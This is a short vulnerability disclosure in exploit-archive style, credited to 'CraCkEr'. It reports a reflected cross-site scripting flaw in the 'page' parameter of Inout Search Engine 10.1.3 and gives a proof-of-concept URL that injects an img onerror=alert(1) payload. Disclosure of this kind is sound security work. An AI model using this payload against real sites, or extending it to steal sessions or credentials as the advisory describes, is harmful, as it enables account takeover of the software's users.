Inout Search Engine 10.1.3 Cross Site scripting

++—————————————————————————————+
|| C r a C k E r ++

++ T H E C R A C K O F E T E R N A L M I G H T ||

+—————————————————————————————++

+—- Unimaginable Crack …. —-+

++—————————————————————————————+

++ [Vulnerability] ++

+—————————————————————————————++

CraCkEr is the Author

| Website : inoutscripts.com |

Vendor : Inout Scripts – Nesote Technologies Private Limited

Software : Inout Search Engine 10.1.3

Vuln Type: Reflected XSS

Impact : Manipulate the content of the site

| |

|—————————————————————————————-|

| ++

+—————————————————————————————++

: :

Release Notes:

| ————- |

The attacker can send to victim a link containing a malicious URL in an email or

instant message can perform a wide variety of actions, such as stealing the victim’s

session token or login credentials

| |

++—————————————————————————————+

++ ++

+—————————————————————————————++

Greets:

The_PitBull. Raz0r. iNs. SadsouL. Hussin X. Mr. SQL.

CryptoJob (Twitter) twitter.com/CryptozJob

++—————————————————————————————+

CraCkEr 2023 (c) ++

+—————————————————————————————++

Path: /index.php

Method: GET

URL parameter “page” is susceptible to XSS

https://www.example.com/index.php?page=footer%2femailafriendlaten%3cimg%20src%3da%20onerror%3dalert(1)%3ef96cd

[-] Done